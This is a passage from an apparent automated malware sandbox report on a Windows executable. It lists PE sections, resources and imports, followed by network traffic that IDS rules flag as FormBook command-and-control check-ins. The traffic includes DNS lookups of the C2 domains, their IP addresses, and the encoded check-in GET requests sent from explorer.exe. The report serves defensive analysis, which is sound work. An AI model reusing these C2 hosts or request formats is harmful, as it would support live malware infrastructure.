.didat	0x63000	0x190	0x200	False	0.4453125	data	3.3327310103022305	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x64000	0x19658	0x19800	False	0.7920113357843137	data	7.266223306948891	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x7e000	0x233c	0x2400	False	0.7749565972222222	data	6.623012966548067	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
PNG	0x64764	0xb45	PNG image data, 93 x 302, 8-bit/color RGB, non-interlaced	English	United States	1.0027729636048528
PNG	0x652ac	0x15a9	PNG image data, 186 x 604, 8-bit/color RGB, non-interlaced	English	United States	0.9363390441839495
RT_ICON	0x66858	0x668	Device independent bitmap graphic, 48 x 96 x 4, image size 1152			0.36585365853658536
RT_ICON	0x66ec0	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 512			0.4489247311827957
RT_ICON	0x671a8	0x1e8	Device independent bitmap graphic, 24 x 48 x 4, image size 288			0.555327868852459
RT_ICON	0x67390	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 128			0.5371621621621622
RT_ICON	0x674b8	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors			0.6327292110874201
RT_ICON	0x68360	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors			0.733754512635379
RT_ICON	0x68c08	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 576, 256 important colors			0.6970046082949308
RT_ICON	0x692d0	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors			0.4848265895953757
RT_ICON	0x69838	0xd5ea	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced			0.9983382637595413
RT_ICON	0x76e24	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600			0.4654564315352697
RT_ICON	0x793cc	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224			0.5567542213883677
RT_ICON	0x7a474	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400			0.7008196721311475
RT_ICON	0x7adfc	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088			0.5780141843971631
RT_DIALOG	0x7b264	0x286	data	English	United States	0.5092879256965944
RT_DIALOG	0x7b4ec	0x13a	data	English	United States	0.60828025477707
RT_DIALOG	0x7b628	0xec	data	English	United States	0.6991525423728814
RT_DIALOG	0x7b714	0x12e	data	English	United States	0.5927152317880795
RT_DIALOG	0x7b844	0x338	data	English	United States	0.45145631067961167
RT_DIALOG	0x7bb7c	0x252	data	English	United States	0.5757575757575758
RT_STRING	0x7bdd0	0x1e2	data	English	United States	0.3900414937759336
RT_STRING	0x7bfb4	0x1cc	data	English	United States	0.4282608695652174
RT_STRING	0x7c180	0x1b8	data	English	United States	0.45681818181818185
RT_STRING	0x7c338	0x146	data	English	United States	0.5153374233128835
RT_STRING	0x7c480	0x46c	data	English	United States	0.3454063604240283
RT_STRING	0x7c8ec	0x166	data	English	United States	0.49162011173184356
RT_STRING	0x7ca54	0x152	data	English	United States	0.5059171597633136
RT_STRING	0x7cba8	0x10a	data	English	United States	0.49624060150375937
RT_STRING	0x7ccb4	0xbc	data	English	United States	0.6329787234042553
RT_STRING	0x7cd70	0xd6	data	English	United States	0.5747663551401869
RT_GROUP_ICON	0x7ce48	0xbc	data			0.6170212765957447
RT_MANIFEST	0x7cf04	0x753	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.3957333333333333

Imports

DLL	Import
KERNEL32.dll	GetLastError, SetLastError, FormatMessageW, GetCurrentProcess, DeviceIoControl, SetFileTime, CloseHandle, CreateDirectoryW, RemoveDirectoryW, CreateFileW, DeleteFileW, CreateHardLinkW, GetShortPathNameW, GetLongPathNameW, MoveFileW, GetFileType, GetStdHandle, WriteFile, ReadFile, FlushFileBuffers, SetEndOfFile, SetFilePointer, SetFileAttributesW, GetFileAttributesW, FindClose, FindFirstFileW, FindNextFileW, InterlockedDecrement, GetVersionExW, GetCurrentDirectoryW, GetFullPathNameW, FoldStringW, GetModuleFileNameW, GetModuleHandleW, FindResourceW, FreeLibrary, GetProcAddress, GetCurrentProcessId, ExitProcess, SetThreadExecutionState, Sleep, LoadLibraryW, GetSystemDirectoryW, CompareStringW, AllocConsole, FreeConsole, AttachConsole, WriteConsoleW, GetProcessAffinityMask, CreateThread, SetThreadPriority, InitializeCriticalSection, EnterCriticalSection, LeaveCriticalSection, DeleteCriticalSection, SetEvent, ResetEvent, ReleaseSemaphore, WaitForSingleObject, CreateEventW, CreateSemaphoreW, GetSystemTime, SystemTimeToTzSpecificLocalTime, TzSpecificLocalTimeToSystemTime, SystemTimeToFileTime, FileTimeToLocalFileTime, LocalFileTimeToFileTime, FileTimeToSystemTime, GetCPInfo, IsDBCSLeadByte, MultiByteToWideChar, WideCharToMultiByte, GlobalAlloc, LockResource, GlobalLock, GlobalUnlock, GlobalFree, LoadResource, SizeofResource, SetCurrentDirectoryW, GetExitCodeProcess, GetLocalTime, GetTickCount, MapViewOfFile, UnmapViewOfFile, CreateFileMappingW, OpenFileMappingW, GetCommandLineW, SetEnvironmentVariableW, ExpandEnvironmentStringsW, GetTempPathW, MoveFileExW, GetLocaleInfoW, GetTimeFormatW, GetDateFormatW, GetNumberFormatW, DecodePointer, SetFilePointerEx, GetConsoleMode, GetConsoleCP, HeapSize, SetStdHandle, GetProcessHeap, FreeEnvironmentStringsW, GetEnvironmentStringsW, GetCommandLineA, GetOEMCP, RaiseException, GetSystemInfo, VirtualProtect, VirtualQuery, LoadLibraryExA, IsProcessorFeaturePresent, IsDebuggerPresent, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetStartupInfoW, QueryPerformanceCounter, GetCurrentThreadId, GetSystemTimeAsFileTime, InitializeSListHead, TerminateProcess, LocalFree, RtlUnwind, EncodePointer, InitializeCriticalSectionAndSpinCount, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, LoadLibraryExW, QueryPerformanceFrequency, GetModuleHandleExW, GetModuleFileNameA, GetACP, HeapFree, HeapAlloc, HeapReAlloc, GetStringTypeW, LCMapStringW, FindFirstFileExA, FindNextFileA, IsValidCodePage
OLEAUT32.dll	SysAllocString, SysFreeString, VariantClear
gdiplus.dll	GdipAlloc, GdipDisposeImage, GdipCloneImage, GdipCreateBitmapFromStream, GdipCreateBitmapFromStreamICM, GdipCreateHBITMAPFromBitmap, GdiplusStartup, GdiplusShutdown, GdipFree

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
192.168.2.8142.234.186.9849713802031412 10/06/23-15:46:24.770092	TCP	2031412	ET TROJAN FormBook CnC Checkin (GET)	49713	80	192.168.2.8	142.234.186.98
192.168.2.8170.33.13.24649714802031412 10/06/23-15:47:05.527481	TCP	2031412	ET TROJAN FormBook CnC Checkin (GET)	49714	80	192.168.2.8	170.33.13.246
192.168.2.875.2.115.19649721802031412 10/06/23-15:48:47.739146	TCP	2031412	ET TROJAN FormBook CnC Checkin (GET)	49721	80	192.168.2.8	75.2.115.196
192.168.2.891.195.240.1949715802031412 10/06/23-15:47:26.584409	TCP	2031412	ET TROJAN FormBook CnC Checkin (GET)	49715	80	192.168.2.8	91.195.240.19
192.168.2.866.96.160.14049719802031412 10/06/23-15:48:06.495640	TCP	2031412	ET TROJAN FormBook CnC Checkin (GET)	49719	80	192.168.2.8	66.96.160.140
192.168.2.877.222.40.14749711802031412 10/06/23-15:46:05.442049	TCP	2031412	ET TROJAN FormBook CnC Checkin (GET)	49711	80	192.168.2.8	77.222.40.147
192.168.2.862.72.50.24449716802031412 10/06/23-15:47:46.016751	TCP	2031412	ET TROJAN FormBook CnC Checkin (GET)	49716	80	192.168.2.8	62.72.50.244
192.168.2.8103.224.182.24249720802031412 10/06/23-15:48:27.268039	TCP	2031412	ET TROJAN FormBook CnC Checkin (GET)	49720	80	192.168.2.8	103.224.182.242

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 6, 2023 15:46:05.114090919 CEST	49711	80	192.168.2.8	77.222.40.147
Oct 6, 2023 15:46:05.441755056 CEST	80	49711	77.222.40.147	192.168.2.8
Oct 6, 2023 15:46:05.441936970 CEST	49711	80	192.168.2.8	77.222.40.147
Oct 6, 2023 15:46:05.442049026 CEST	49711	80	192.168.2.8	77.222.40.147
Oct 6, 2023 15:46:05.769395113 CEST	80	49711	77.222.40.147	192.168.2.8
Oct 6, 2023 15:46:05.930954933 CEST	49711	80	192.168.2.8	77.222.40.147
Oct 6, 2023 15:46:06.205346107 CEST	80	49711	77.222.40.147	192.168.2.8
Oct 6, 2023 15:46:06.205364943 CEST	80	49711	77.222.40.147	192.168.2.8
Oct 6, 2023 15:46:06.205548048 CEST	49711	80	192.168.2.8	77.222.40.147
Oct 6, 2023 15:46:06.205548048 CEST	49711	80	192.168.2.8	77.222.40.147
Oct 6, 2023 15:46:06.258512020 CEST	80	49711	77.222.40.147	192.168.2.8
Oct 6, 2023 15:46:06.258610010 CEST	49711	80	192.168.2.8	77.222.40.147
Oct 6, 2023 15:46:24.622704983 CEST	49713	80	192.168.2.8	142.234.186.98
Oct 6, 2023 15:46:24.769887924 CEST	80	49713	142.234.186.98	192.168.2.8
Oct 6, 2023 15:46:24.770021915 CEST	49713	80	192.168.2.8	142.234.186.98
Oct 6, 2023 15:46:24.770092010 CEST	49713	80	192.168.2.8	142.234.186.98
Oct 6, 2023 15:46:24.918459892 CEST	80	49713	142.234.186.98	192.168.2.8
Oct 6, 2023 15:46:24.918895960 CEST	80	49713	142.234.186.98	192.168.2.8
Oct 6, 2023 15:46:24.918935061 CEST	80	49713	142.234.186.98	192.168.2.8
Oct 6, 2023 15:46:24.918970108 CEST	80	49713	142.234.186.98	192.168.2.8
Oct 6, 2023 15:46:24.919019938 CEST	49713	80	192.168.2.8	142.234.186.98
Oct 6, 2023 15:46:24.919068098 CEST	49713	80	192.168.2.8	142.234.186.98
Oct 6, 2023 15:46:24.919080019 CEST	49713	80	192.168.2.8	142.234.186.98
Oct 6, 2023 15:47:05.364356041 CEST	49714	80	192.168.2.8	170.33.13.246
Oct 6, 2023 15:47:05.522573948 CEST	80	49714	170.33.13.246	192.168.2.8
Oct 6, 2023 15:47:05.527404070 CEST	49714	80	192.168.2.8	170.33.13.246
Oct 6, 2023 15:47:05.527481079 CEST	49714	80	192.168.2.8	170.33.13.246
Oct 6, 2023 15:47:06.001693964 CEST	80	49714	170.33.13.246	192.168.2.8
Oct 6, 2023 15:47:06.003338099 CEST	80	49714	170.33.13.246	192.168.2.8
Oct 6, 2023 15:47:06.003484011 CEST	49714	80	192.168.2.8	170.33.13.246
Oct 6, 2023 15:47:06.006469965 CEST	80	49714	170.33.13.246	192.168.2.8
Oct 6, 2023 15:47:06.007354975 CEST	49714	80	192.168.2.8	170.33.13.246
Oct 6, 2023 15:47:06.320528030 CEST	80	49714	170.33.13.246	192.168.2.8
Oct 6, 2023 15:47:26.298206091 CEST	49715	80	192.168.2.8	91.195.240.19
Oct 6, 2023 15:47:26.584180117 CEST	80	49715	91.195.240.19	192.168.2.8
Oct 6, 2023 15:47:26.584408998 CEST	49715	80	192.168.2.8	91.195.240.19
Oct 6, 2023 15:47:26.584408998 CEST	49715	80	192.168.2.8	91.195.240.19
Oct 6, 2023 15:47:26.904335976 CEST	80	49715	91.195.240.19	192.168.2.8
Oct 6, 2023 15:47:26.904655933 CEST	80	49715	91.195.240.19	192.168.2.8
Oct 6, 2023 15:47:26.904701948 CEST	49715	80	192.168.2.8	91.195.240.19
Oct 6, 2023 15:47:26.904704094 CEST	80	49715	91.195.240.19	192.168.2.8
Oct 6, 2023 15:47:26.904755116 CEST	80	49715	91.195.240.19	192.168.2.8
Oct 6, 2023 15:47:26.904795885 CEST	49715	80	192.168.2.8	91.195.240.19
Oct 6, 2023 15:47:26.904799938 CEST	80	49715	91.195.240.19	192.168.2.8
Oct 6, 2023 15:47:26.904849052 CEST	80	49715	91.195.240.19	192.168.2.8
Oct 6, 2023 15:47:26.904891968 CEST	49715	80	192.168.2.8	91.195.240.19
Oct 6, 2023 15:47:26.904896021 CEST	80	49715	91.195.240.19	192.168.2.8
Oct 6, 2023 15:47:26.904946089 CEST	80	49715	91.195.240.19	192.168.2.8
Oct 6, 2023 15:47:26.904987097 CEST	49715	80	192.168.2.8	91.195.240.19
Oct 6, 2023 15:47:26.904994011 CEST	80	49715	91.195.240.19	192.168.2.8
Oct 6, 2023 15:47:26.905041933 CEST	80	49715	91.195.240.19	192.168.2.8
Oct 6, 2023 15:47:26.905081034 CEST	49715	80	192.168.2.8	91.195.240.19
Oct 6, 2023 15:47:27.086050987 CEST	49715	80	192.168.2.8	91.195.240.19
Oct 6, 2023 15:47:27.187711954 CEST	80	49715	91.195.240.19	192.168.2.8
Oct 6, 2023 15:47:27.187793016 CEST	80	49715	91.195.240.19	192.168.2.8
Oct 6, 2023 15:47:27.187803984 CEST	49715	80	192.168.2.8	91.195.240.19
Oct 6, 2023 15:47:27.187947035 CEST	80	49715	91.195.240.19	192.168.2.8
Oct 6, 2023 15:47:27.187953949 CEST	49715	80	192.168.2.8	91.195.240.19
Oct 6, 2023 15:47:27.188000917 CEST	80	49715	91.195.240.19	192.168.2.8
Oct 6, 2023 15:47:27.188004017 CEST	49715	80	192.168.2.8	91.195.240.19
Oct 6, 2023 15:47:27.188043118 CEST	49715	80	192.168.2.8	91.195.240.19
Oct 6, 2023 15:47:27.188052893 CEST	80	49715	91.195.240.19	192.168.2.8
Oct 6, 2023 15:47:27.188091040 CEST	49715	80	192.168.2.8	91.195.240.19
Oct 6, 2023 15:47:27.188102007 CEST	80	49715	91.195.240.19	192.168.2.8
Oct 6, 2023 15:47:27.188143969 CEST	49715	80	192.168.2.8	91.195.240.19
Oct 6, 2023 15:47:27.188153982 CEST	80	49715	91.195.240.19	192.168.2.8
Oct 6, 2023 15:47:27.188196898 CEST	49715	80	192.168.2.8	91.195.240.19
Oct 6, 2023 15:47:27.188205004 CEST	80	49715	91.195.240.19	192.168.2.8
Oct 6, 2023 15:47:27.188246965 CEST	49715	80	192.168.2.8	91.195.240.19
Oct 6, 2023 15:47:27.188255072 CEST	80	49715	91.195.240.19	192.168.2.8
Oct 6, 2023 15:47:27.188302040 CEST	80	49715	91.195.240.19	192.168.2.8
Oct 6, 2023 15:47:27.188302994 CEST	49715	80	192.168.2.8	91.195.240.19
Oct 6, 2023 15:47:27.188343048 CEST	49715	80	192.168.2.8	91.195.240.19
Oct 6, 2023 15:47:27.372390985 CEST	80	49715	91.195.240.19	192.168.2.8
Oct 6, 2023 15:47:27.372481108 CEST	49715	80	192.168.2.8	91.195.240.19
Oct 6, 2023 15:47:45.857446909 CEST	49716	80	192.168.2.8	62.72.50.244
Oct 6, 2023 15:47:45.992898941 CEST	80	49716	62.72.50.244	192.168.2.8
Oct 6, 2023 15:47:45.992976904 CEST	49716	80	192.168.2.8	62.72.50.244
Oct 6, 2023 15:47:46.016751051 CEST	49716	80	192.168.2.8	62.72.50.244
Oct 6, 2023 15:47:46.152364969 CEST	80	49716	62.72.50.244	192.168.2.8
Oct 6, 2023 15:47:46.152431965 CEST	80	49716	62.72.50.244	192.168.2.8
Oct 6, 2023 15:47:46.152777910 CEST	80	49716	62.72.50.244	192.168.2.8
Oct 6, 2023 15:47:46.152915955 CEST	49716	80	192.168.2.8	62.72.50.244
Oct 6, 2023 15:47:46.154462099 CEST	49716	80	192.168.2.8	62.72.50.244
Oct 6, 2023 15:47:46.289988995 CEST	80	49716	62.72.50.244	192.168.2.8
Oct 6, 2023 15:48:06.294266939 CEST	49719	80	192.168.2.8	66.96.160.140
Oct 6, 2023 15:48:06.495479107 CEST	80	49719	66.96.160.140	192.168.2.8
Oct 6, 2023 15:48:06.495553970 CEST	49719	80	192.168.2.8	66.96.160.140
Oct 6, 2023 15:48:06.495640039 CEST	49719	80	192.168.2.8	66.96.160.140
Oct 6, 2023 15:48:06.698400974 CEST	80	49719	66.96.160.140	192.168.2.8
Oct 6, 2023 15:48:06.739032984 CEST	80	49719	66.96.160.140	192.168.2.8
Oct 6, 2023 15:48:06.739085913 CEST	80	49719	66.96.160.140	192.168.2.8
Oct 6, 2023 15:48:06.739171982 CEST	49719	80	192.168.2.8	66.96.160.140
Oct 6, 2023 15:48:06.739171982 CEST	49719	80	192.168.2.8	66.96.160.140
Oct 6, 2023 15:48:06.940284967 CEST	80	49719	66.96.160.140	192.168.2.8
Oct 6, 2023 15:48:27.122734070 CEST	49720	80	192.168.2.8	103.224.182.242
Oct 6, 2023 15:48:27.267716885 CEST	80	49720	103.224.182.242	192.168.2.8
Oct 6, 2023 15:48:27.268038988 CEST	49720	80	192.168.2.8	103.224.182.242
Oct 6, 2023 15:48:27.268038988 CEST	49720	80	192.168.2.8	103.224.182.242
Oct 6, 2023 15:48:27.461694956 CEST	80	49720	103.224.182.242	192.168.2.8
Oct 6, 2023 15:48:27.500077009 CEST	80	49720	103.224.182.242	192.168.2.8
Oct 6, 2023 15:48:27.500139952 CEST	80	49720	103.224.182.242	192.168.2.8
Oct 6, 2023 15:48:27.500360012 CEST	49720	80	192.168.2.8	103.224.182.242
Oct 6, 2023 15:48:27.500360012 CEST	49720	80	192.168.2.8	103.224.182.242
Oct 6, 2023 15:48:27.645713091 CEST	80	49720	103.224.182.242	192.168.2.8
Oct 6, 2023 15:48:47.604156017 CEST	49721	80	192.168.2.8	75.2.115.196
Oct 6, 2023 15:48:47.738956928 CEST	80	49721	75.2.115.196	192.168.2.8
Oct 6, 2023 15:48:47.739032984 CEST	49721	80	192.168.2.8	75.2.115.196
Oct 6, 2023 15:48:47.739145994 CEST	49721	80	192.168.2.8	75.2.115.196
Oct 6, 2023 15:48:47.873990059 CEST	80	49721	75.2.115.196	192.168.2.8
Oct 6, 2023 15:48:48.156855106 CEST	80	49721	75.2.115.196	192.168.2.8
Oct 6, 2023 15:48:48.156898975 CEST	80	49721	75.2.115.196	192.168.2.8
Oct 6, 2023 15:48:48.157082081 CEST	49721	80	192.168.2.8	75.2.115.196
Oct 6, 2023 15:48:48.157118082 CEST	49721	80	192.168.2.8	75.2.115.196
Oct 6, 2023 15:48:48.170581102 CEST	80	49721	75.2.115.196	192.168.2.8
Oct 6, 2023 15:48:48.170659065 CEST	49721	80	192.168.2.8	75.2.115.196
Oct 6, 2023 15:48:48.291981936 CEST	80	49721	75.2.115.196	192.168.2.8

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 6, 2023 15:46:04.416234016 CEST	59184	53	192.168.2.8	1.1.1.1
Oct 6, 2023 15:46:05.112912893 CEST	53	59184	1.1.1.1	192.168.2.8
Oct 6, 2023 15:46:24.462126970 CEST	52823	53	192.168.2.8	1.1.1.1
Oct 6, 2023 15:46:24.621404886 CEST	53	52823	1.1.1.1	192.168.2.8
Oct 6, 2023 15:46:44.368113041 CEST	55355	53	192.168.2.8	1.1.1.1
Oct 6, 2023 15:46:44.517919064 CEST	53	55355	1.1.1.1	192.168.2.8
Oct 6, 2023 15:47:04.713597059 CEST	65326	53	192.168.2.8	1.1.1.1
Oct 6, 2023 15:47:05.363195896 CEST	53	65326	1.1.1.1	192.168.2.8
Oct 6, 2023 15:47:25.055834055 CEST	55186	53	192.168.2.8	1.1.1.1
Oct 6, 2023 15:47:26.070884943 CEST	55186	53	192.168.2.8	1.1.1.1
Oct 6, 2023 15:47:26.297071934 CEST	53	55186	1.1.1.1	192.168.2.8
Oct 6, 2023 15:47:45.540530920 CEST	50275	53	192.168.2.8	1.1.1.1
Oct 6, 2023 15:47:45.723089933 CEST	53	50275	1.1.1.1	192.168.2.8
Oct 6, 2023 15:48:05.838570118 CEST	58490	53	192.168.2.8	1.1.1.1
Oct 6, 2023 15:48:06.283337116 CEST	53	58490	1.1.1.1	192.168.2.8
Oct 6, 2023 15:48:26.962131023 CEST	64649	53	192.168.2.8	1.1.1.1
Oct 6, 2023 15:48:27.121669054 CEST	53	64649	1.1.1.1	192.168.2.8
Oct 6, 2023 15:48:47.337629080 CEST	51984	53	192.168.2.8	1.1.1.1
Oct 6, 2023 15:48:47.603353024 CEST	53	51984	1.1.1.1	192.168.2.8

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 6, 2023 15:46:04.416234016 CEST	192.168.2.8	1.1.1.1	0xdcca	Standard query (0)	www.othersidewear.com	A (IP address)	IN (0x0001)	false
Oct 6, 2023 15:46:24.462126970 CEST	192.168.2.8	1.1.1.1	0xf5d8	Standard query (0)	www.91fulizifen.com	A (IP address)	IN (0x0001)	false
Oct 6, 2023 15:46:44.368113041 CEST	192.168.2.8	1.1.1.1	0x10ef	Standard query (0)	www.pendletonofficial.shop	A (IP address)	IN (0x0001)	false
Oct 6, 2023 15:47:04.713597059 CEST	192.168.2.8	1.1.1.1	0x362b	Standard query (0)	www.shayun.net	A (IP address)	IN (0x0001)	false
Oct 6, 2023 15:47:25.055834055 CEST	192.168.2.8	1.1.1.1	0x1316	Standard query (0)	www.brownkrosshui.com	A (IP address)	IN (0x0001)	false
Oct 6, 2023 15:47:26.070884943 CEST	192.168.2.8	1.1.1.1	0x1316	Standard query (0)	www.brownkrosshui.com	A (IP address)	IN (0x0001)	false
Oct 6, 2023 15:47:45.540530920 CEST	192.168.2.8	1.1.1.1	0xaad1	Standard query (0)	www.usbulletinnow.com	A (IP address)	IN (0x0001)	false
Oct 6, 2023 15:48:05.838570118 CEST	192.168.2.8	1.1.1.1	0x2e6f	Standard query (0)	www.im-newbie-journal.online	A (IP address)	IN (0x0001)	false
Oct 6, 2023 15:48:26.962131023 CEST	192.168.2.8	1.1.1.1	0x518b	Standard query (0)	www.tygyro.com	A (IP address)	IN (0x0001)	false
Oct 6, 2023 15:48:47.337629080 CEST	192.168.2.8	1.1.1.1	0x1a82	Standard query (0)	www.87b52.club	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 6, 2023 15:46:05.112912893 CEST	1.1.1.1	192.168.2.8	0xdcca	No error (0)	www.othersidewear.com		77.222.40.147	A (IP address)	IN (0x0001)	false
Oct 6, 2023 15:46:24.621404886 CEST	1.1.1.1	192.168.2.8	0xf5d8	No error (0)	www.91fulizifen.com		142.234.186.98	A (IP address)	IN (0x0001)	false
Oct 6, 2023 15:46:44.517919064 CEST	1.1.1.1	192.168.2.8	0x10ef	Name error (3)	www.pendletonofficial.shop	none	none	A (IP address)	IN (0x0001)	false
Oct 6, 2023 15:47:05.363195896 CEST	1.1.1.1	192.168.2.8	0x362b	No error (0)	www.shayun.net	overdue.aliyun.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 6, 2023 15:47:05.363195896 CEST	1.1.1.1	192.168.2.8	0x362b	No error (0)	overdue.aliyun.com		170.33.13.246	A (IP address)	IN (0x0001)	false
Oct 6, 2023 15:47:26.297071934 CEST	1.1.1.1	192.168.2.8	0x1316	No error (0)	www.brownkrosshui.com	parkingpage.namecheap.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 6, 2023 15:47:26.297071934 CEST	1.1.1.1	192.168.2.8	0x1316	No error (0)	parkingpage.namecheap.com		91.195.240.19	A (IP address)	IN (0x0001)	false
Oct 6, 2023 15:47:45.723089933 CEST	1.1.1.1	192.168.2.8	0xaad1	No error (0)	www.usbulletinnow.com	usbulletinnow.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 6, 2023 15:47:45.723089933 CEST	1.1.1.1	192.168.2.8	0xaad1	No error (0)	usbulletinnow.com		62.72.50.244	A (IP address)	IN (0x0001)	false
Oct 6, 2023 15:48:06.283337116 CEST	1.1.1.1	192.168.2.8	0x2e6f	No error (0)	www.im-newbie-journal.online		66.96.160.140	A (IP address)	IN (0x0001)	false
Oct 6, 2023 15:48:27.121669054 CEST	1.1.1.1	192.168.2.8	0x518b	No error (0)	www.tygyro.com		103.224.182.242	A (IP address)	IN (0x0001)	false
Oct 6, 2023 15:48:47.603353024 CEST	1.1.1.1	192.168.2.8	0x1a82	No error (0)	www.87b52.club		75.2.115.196	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

www.othersidewear.com

www.91fulizifen.com

www.shayun.net

www.brownkrosshui.com

www.usbulletinnow.com

www.im-newbie-journal.online

www.tygyro.com

www.87b52.club

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.8	49711	77.222.40.147	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Oct 6, 2023 15:46:05.442049026 CEST	73	OUT	GET /hesf/?jBZ=szcn2kpEQ6L2Syu9mG2pKozAyrZLMpz3ThmLak2r9KpoKfLz6EjH9XrJVzpw+e6nWP1B&Gvw=T4RpitPpFtBLx HTTP/1.1 Host: www.othersidewear.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Oct 6, 2023 15:46:06.205346107 CEST	74	IN	HTTP/1.1 301 Moved Permanently Server: nginx/1.23.2 Date: Fri, 06 Oct 2023 13:46:06 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload X-Powered-By: PHP/7.4.33 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 X-Redirect-By: WordPress Location: http://othersidewear.com/hesf/?jBZ=szcn2kpEQ6L2Syu9mG2pKozAyrZLMpz3ThmLak2r9KpoKfLz6EjH9XrJVzpw+e6nWP1B&Gvw=T4RpitPpFtBLx

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.8	49713	142.234.186.98	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Oct 6, 2023 15:46:24.770092010 CEST	77	OUT	GET /hesf/?jBZ=d2AGz1H3YsI9kghQJOJ7DZyuiCPgqoB+sSxuqf6m27exoGivXrHz5sUA11+t0RjRixK2&Gvw=T4RpitPpFtBLx HTTP/1.1 Host: www.91fulizifen.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Oct 6, 2023 15:46:24.918895960 CEST	79	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 06 Oct 2023 13:46:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Data Raw: 36 36 39 0d 0a 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 73 63 72 69 70 74 3e 0a 28 66 75 6e 63 74 69 6f 6e 28 29 7b 0a 20 20 20 20 76 61 72 20 62 70 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 0a 20 20 20 20 76 61 72 20 63 75 72 50 72 6f 74 6f 63 6f 6c 20 3d 20 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 70 72 6f 74 6f 63 6f 6c 2e 73 70 6c 69 74 28 27 3a 27 29 5b 30 5d 3b 0a 20 20 20 20 69 66 20 28 63 75 72 50 72 6f 74 6f 63 6f 6c 20 3d 3d 3d 20 27 68 74 74 70 73 27 29 20 7b 0a 20 20 20 20 20 20 20 20 62 70 2e 73 72 63 20 3d 20 27 68 74 74 70 73 3a 2f 2f 7a 7a 2e 62 64 73 74 61 74 69 63 2e 63 6f 6d 2f 6c 69 6e 6b 73 75 62 6d 69 74 2f 70 75 73 68 2e 6a 73 27 3b 0a 20 20 20 20 7d 0a 20 20 20 20 65 6c 73 65 20 7b 0a 20 20 20 20 20 20 20 20 62 70 2e 73 72 63 20 3d 20 27 68 74 74 70 3a 2f 2f 70 75 73 68 2e 7a 68 61 6e 7a 68 61 6e 67 2e 62 61 69 64 75 2e 63 6f 6d 2f 70 75 73 68 2e 6a 73 27 3b 0a 20 20 20 20 7d 0a 20 20 20 20 76 61 72 20 73 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 22 73 63 72 69 70 74 22 29 5b 30 5d 3b 0a 20 20 20 20 73 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 69 6e 73 65 72 74 42 65 66 6f 72 65 28 62 70 2c 20 73 29 3b 0a 7d 29 28 29 3b 0a 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 3e 0a 28 66 75 6e 63 74 69 6f 6e 28 29 7b 0a 09 09 76 61 72 20 63 61 6e 6f 6e 69 63 61 6c 55 52 4c 2c 20 63 75 72 50 72 6f 74 6f 63 6f 6c 3b 0a 09 09 2f 2f 47 65 74 20 74 68 65 20 20 74 61 67 0a 09 09 76 61 72 20 78 3d 64 6f 63 75 6d 65 6e 74 2e 67 65 74 